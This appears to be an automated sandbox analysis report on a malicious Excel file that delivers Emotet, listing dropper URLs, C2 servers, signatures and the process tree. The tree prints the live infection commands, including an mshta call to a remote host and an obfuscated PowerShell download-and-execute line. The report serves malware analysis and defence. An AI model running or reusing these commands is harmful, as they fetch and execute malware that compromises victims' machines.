Analysis

  • max time kernel
    143s
  • max time network
    176s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    31/01/2022, 00:43

General

  • Target
    tmpt33xj_hp.xls
  • Size 47KB
  • Sample220131-a2yf7acgel
  • SHA256 25704807de9c02900ed23bd9f3ad90fe3c2ebc77960bb89c2cc23fa4076bb93e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/mm/nn/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/mm/nn/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpt33xj_hp.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
        3⤵
          PID:2236
        • C:\Windows\system32\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2188
          • C:\Windows\system32\mshta.exe
            mshta http://91.240.118.172/mm/nn/se.html
            4⤵
            • Blocklisted process makes network request
            • Suspicious use of WriteProcessMemory
            PID:1208
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2956
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1600
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1812
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:1792
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uguczjulmhlnx\jbsbdnughamh.oec",AYVCoBQzyWxgk
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:644
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Uguczjulmhlnx\jbsbdnughamh.oec",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4084
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 1208 -s 1672
              5⤵
              • Program crash
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2632

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          memory/644-333-0x0000000000C61000-0x0000000000C84000-memory.dmp

          memory/1792-336-0x0000000004AA0000-0x0000000004AC7000-memory.dmp

          memory/1792-332-0x00000000048F0000-0x0000000004917000-memory.dmp

          memory/1792-328-0x0000000004730000-0x0000000004757000-memory.dmp

          memory/1792-326-0x00000000045D0000-0x00000000045F7000-memory.dmp

          memory/1792-324-0x00000000044F0000-0x0000000004517000-memory.dmp

          memory/1792-321-0x0000000000B90000-0x0000000000BB7000-memory.dmp

          memory/1812-319-0x0000000001010000-0x0000000001037000-memory.dmp

          memory/2736-131-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

          memory/2736-367-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-368-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-369-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-118-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-370-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-132-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

          memory/2736-122-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-121-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-120-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2736-119-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

          memory/2956-289-0x0000015FE9A30000-0x0000015FE9A6C000-memory.dmp

          memory/2956-307-0x0000015FE9110000-0x0000015FE9210000-memory.dmp

          memory/2956-303-0x0000015FE9110000-0x0000015FE9210000-memory.dmp

          memory/2956-301-0x0000015FE9110000-0x0000015FE9210000-memory.dmp

          memory/2956-300-0x0000015FE9F40000-0x0000015FE9FB6000-memory.dmp

          memory/2956-270-0x0000015FE9740000-0x0000015FE9762000-memory.dmp

          memory/4084-337-0x0000000000C40000-0x0000000000C67000-memory.dmp

          memory/4084-339-0x0000000000F00000-0x0000000000F27000-memory.dmp

          memory/4084-341-0x0000000001000000-0x0000000001027000-memory.dmp

          memory/4084-344-0x0000000004840000-0x0000000004867000-memory.dmp

          memory/4084-348-0x0000000004B00000-0x0000000004B27000-memory.dmp

          memory/4084-350-0x0000000004C00000-0x0000000004C27000-memory.dmp